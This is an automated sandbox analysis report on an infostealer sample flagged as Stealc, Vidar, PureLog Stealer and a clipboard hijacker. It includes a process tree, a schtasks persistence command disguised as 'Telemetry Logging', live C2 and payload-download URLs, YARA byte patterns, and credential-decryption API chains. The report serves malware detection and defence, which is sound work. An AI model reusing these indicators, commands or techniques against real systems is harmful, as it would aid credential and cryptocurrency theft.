Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1501904
MD5:	a2d6bc4c76921e184d0a81e79c40ede1
SHA1:	befa619180442f1a3b968f232d68a18d6ad58251
SHA256:	9c4dca830487bda060624059ffc910041ce76975a00750092fcfbb0ba99512ce
Tags:	exe
Infos:

Detection

Clipboard Hijacker, PureLog Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A2D6BC4C76921E184D0A81E79C40EDE1)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7488 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 8064 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HJJDGHCBGD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HJJDGHCBGD.exe (PID: 8120 cmdline: "C:\ProgramData\HJJDGHCBGD.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 8140 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 6784 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 7196 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}

Threatname: Vidar

{"C2 url": "http://193.176.190.41/2fa883eebd632382.php", "Botnet": "cry"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000000.1662962002.0000000000A22000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: file.exe PID: 7428	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7488	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7488	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7488	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.a20000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.HJJDGHCBGD.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
8.2.HJJDGHCBGD.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
8.2.HJJDGHCBGD.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
11.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentProcessId: 6784, ParentProcessName: oobeldr.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 7196, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\ProgramData\HJJDGHCBGD.exe" , ParentImage: C:\ProgramData\HJJDGHCBGD.exe, ParentProcessId: 8120, ParentProcessName: HJJDGHCBGD.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 8140, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:12:58.104900+0200
SID:	2044246
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:12:57.923923+0200
SID:	2044244
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 193.176.190.41 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T18:12:57.929886+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 193.176.190.41 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T18:12:58.130148+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49733
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:01.497251+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:12:58.745226+0200
SID:	2044248
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:03.553545+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:02.442125+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:12:57.743475+0200
SID:	2044243
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:05.924852+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 186.64.114.115

Timestamp:	2024-08-30T18:13:09.204698+0200
SID:	2803304
Severity:	3
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 186.64.114.115

Timestamp:	2024-08-30T18:13:09.204698+0200
SID:	2019714
Severity:	2
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc Submitting Screenshot to C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:06.863555+0200
SID:	2044249
Severity:	1
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:05.464727+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:12:58.920378+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T18:13:03.018751+0200
SID:	2803304
Severity:	3
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll9U	Avira URL Cloud: Label: phishing
Source: http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll:	Avira URL Cloud: Label: phishing
Source: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.phpb	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/vcruntime140.dll	Avira URL Cloud: Label: phishing
Source: http://193.176.190.41/2fa883eebd632382.phption:	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dll	Avira URL Cloud: Label: phishing
Source: https://aldiablo.cl/karu/l2.exe	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.php9a9c4a2f8b514.cdf-ms	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.php	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.phpTgHw	Avira URL Cloud: Label: malware
Source: http://193.176.190.41	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\HJJDGHCBGD.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Found malware configuration

Source: 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}
Source: 2.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://193.176.190.41/2fa883eebd632382.php", "Botnet": "cry"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\HJJDGHCBGD.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	2_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C2E6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C43A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6C43A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C434440 PK11_PrivDecrypt,	2_2_6C434440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C404420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	2_2_6C404420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4344C0 PK11_PubEncrypt,	2_2_6C4344C0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 186.64.114.115:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: AVP.pdb source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2401574869.000000006C50F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
